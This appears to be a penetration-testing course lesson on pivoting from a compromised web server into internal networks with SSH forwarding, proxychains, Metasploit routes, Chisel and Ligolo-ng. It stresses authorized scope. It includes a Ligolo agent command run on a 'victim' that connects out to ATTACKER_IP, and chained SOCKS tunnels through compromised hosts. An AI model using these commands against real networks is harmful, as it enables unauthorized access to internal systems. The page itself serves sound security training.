Pivoting & Lateral Movement

Using a foothold to reach internal networks - port forwarding, tunneling, and SOCKS proxies.

Hard 24 minpivotingtunnelinglateral-movement

Your foothold on the web server sees two network interfaces: one facing the internet, one facing a 10.10.20.0/24 internal segment. From your Kali machine, that internal segment is completely unreachable. But from the compromised web server, it's local. Pivoting is the technique of routing your attack traffic through a compromised host to reach networks that were previously invisible to you.

Pivoting Requires Authorized Scope for the Internal Network

Pivoting reaches network segments that may have their own scope limitations. Before pivoting into an internal network from a foothold, confirm with your client that internal systems are in scope. Reaching and probing systems beyond the initial target without authorization - even through an authorized foothold - is unauthorized access. Internal networks often contain sensitive infrastructure, domain controllers, and databases with strict legal protections.

Why Pivoting Exists

Modern organizations separate their networks into zones. A typical tiered architecture:

Internet
    |
[DMZ / Perimeter]  - web servers, VPN endpoints, email gateways
    |
[Internal LAN]     - workstations, internal apps, file servers
    |
[Server VLAN]      - databases, domain controllers, backup systems
    |
[OT / IoT]         - industrial control systems, cameras, printers

The web server in the DMZ cannot directly reach the database server in the Server VLAN. Firewall rules allow only the specific database port from the web server to the DB. From the internet, you can reach nothing in the internal LAN. But once you compromise the web server, you're inside - adjacent to systems that were never meant to be reachable from outside.

Pivoting is what turns a single foothold into a network-wide assessment.

The Core Concept: Your Traffic Rides the Compromised Host

Without pivoting:

Kali → [internet/lab] → DMZ Web Server (compromised)
Kali → [BLOCKED] → 10.10.20.0/24 (internal)

With pivoting:

Kali → DMZ Web Server → 10.10.20.0/24
     (your traffic is forwarded by the compromised host)

The compromised host acts as a proxy. All your tools (nmap, browsers, exploit frameworks) send traffic to the compromised host, which forwards it to the internal network and returns the responses.

SSH Port Forwarding

SSH has three built-in tunneling modes that cover most pivoting scenarios. If you have SSH access to the compromised host (or can establish it by uploading an SSH key), these are your cleanest options.

Local Port Forwarding (-L): Reach One Internal Service

Local port forwarding maps a port on your Kali machine to a port on a host that the SSH server can reach.

Syntax: ssh -L [local_port]:[remote_host]:[remote_port] [user]@[ssh_server]

kali@vr4cs: ~

The traffic path: Kali:3307 → SSH tunnel → web_server → 10.10.20.100:3306. From MySQL's perspective, the connection comes from the web server's internal IP.

Remote Port Forwarding (-R): Expose Your Listener to the Internal Network

Remote port forwarding maps a port on the SSH server to a port on your Kali machine. This is used to make your reverse shell listener accessible to hosts deep in the internal network that can only reach the compromised host.

Syntax: ssh -R [remote_port]:[local_host]:[local_port] [user]@[ssh_server]

kali@vr4cs: ~

Dynamic Port Forwarding (-D): A Full SOCKS Proxy

Dynamic port forwarding creates a SOCKS proxy on your local machine. All traffic sent to that proxy is forwarded through the SSH tunnel and out through the compromised host. This lets you route entire toolchains - browsers, nmap, any SOCKS-aware tool - through your pivot.

Syntax: ssh -D [local_socks_port] [user]@[ssh_server]

kali@vr4cs: ~

Now configure proxychains to use this proxy.

proxychains: Routing Tools Through Your SOCKS Proxy

proxychains is a tool that intercepts network calls from any Linux application and redirects them through a configured SOCKS proxy. It works with virtually any tool.

kali@vr4cs: ~

nmap Through proxychains - Important Limitations

When routing nmap through proxychains, you must use TCP connect scan (-sT), not SYN scan (-sS). SOCKS proxies operate at the TCP layer - raw packet injection for SYN scans doesn't work through a proxy. Also use -Pn to skip ICMP ping discovery, which also won't work through SOCKS. These scans are slower, but they work.

Metasploit Routes: Pivoting Within the Framework

If your foothold is a Meterpreter session in Metasploit, you can add routes directly within the framework and use MSF modules against internal targets without any external proxychains configuration.

kali@vr4cs: ~

Add a SOCKS proxy module to combine MSF routing with proxychains:

kali@vr4cs: ~

Other Tunneling Techniques

Chisel: Tunneling Over HTTP

Chisel is a fast TCP tunnel over HTTP/WebSockets. It's especially useful when SSH is not available but HTTP is - for example, when the compromised host can only communicate outbound on port 80 or 443.

kali@vr4cs: ~

Ligolo-ng: Modern Tun Interface Pivoting

Ligolo-ng is a newer tool that creates a kernel-level tun interface on your Kali machine, making the internal network appear as if it's directly routable. Unlike proxychains, this works with all scan types including SYN scans.

# Ligolo setup on Kali (creates tun0 interface)
$ sudo ip tuntap add user kali mode tun ligolo
$ sudo ip link set ligolo up
$ sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
 
# On victim - run the agent
$ ./agent -connect ATTACKER_IP:11601 -ignore-cert
 
# In ligolo proxy console - start tunneling
>> session
>> start
# Add route so traffic for 10.10.20.0/24 goes through ligolo interface
$ sudo ip route add 10.10.20.0/24 dev ligolo

With Ligolo-ng active, you can run nmap -sS 10.10.20.0/24 directly - no proxychains, no -sT limitation.

Multi-Hop Pivoting

In deeply segmented networks you may need to pivot through multiple hosts:

Kali → DMZ (foothold 1) → Internal LAN (foothold 2) → Server VLAN

Each hop adds complexity. Keep track of your tunnel chain:

# Hop 1: Kali SOCKS proxy through DMZ web server
ssh -D 1080 www-data@192.168.1.10 -N -f
 
# Hop 2: Through SOCKS1, SSH into internal host, create second SOCKS proxy
proxychains ssh -D 1081 alice@10.10.20.50 -N -f
 
# proxychains4.conf for second hop:
# socks5 127.0.0.1 1080  (use first tunnel)
# Then your second tunnel (1081) rides through the first

Each hop adds latency. Double-hop scans with proxychains can be extremely slow - scan only the ports you need.

Double-Check Your Paths

When pivoting through multiple hosts, it's easy to lose track of where your traffic is actually going. Before running any exploit or scan, verify your routing: run a simple connection test (curl, nc, ping if ICMP works) from each hop to confirm the path is correct. Sending exploit traffic to the wrong internal host is a scope violation.

Network Mapping Through the Pivot

Once you have a SOCKS proxy or tun interface to the internal network, you need to map what's there. The same workflow as the external scanning phase applies, just with proxychains:

kali@vr4cs: ~

Key Takeaways

Pivoting routes attack traffic through a compromised host to reach network segments that are not directly accessible from your attack machine.
SSH's three forwarding modes cover most scenarios: -L for one specific service, -R for receiving reverse shells from internal hosts, -D for a full SOCKS proxy.
proxychains routes any Linux tool through a SOCKS proxy - enabling your whole toolkit to work through the pivot, with the limitation that raw packet scans (SYN) must become connect scans (-sT).
Metasploit's autoroute and socks_proxy modules provide MSF-native pivoting without external proxychains configuration.
Chisel and Ligolo-ng are modern alternatives when SSH isn't available; Ligolo-ng creates a tun interface that removes the proxychains limitation entirely.
Always verify the routing path before sending any traffic through a pivot - especially in multi-hop scenarios.

Post-Exploitation & Looting

Reporting & Disclosure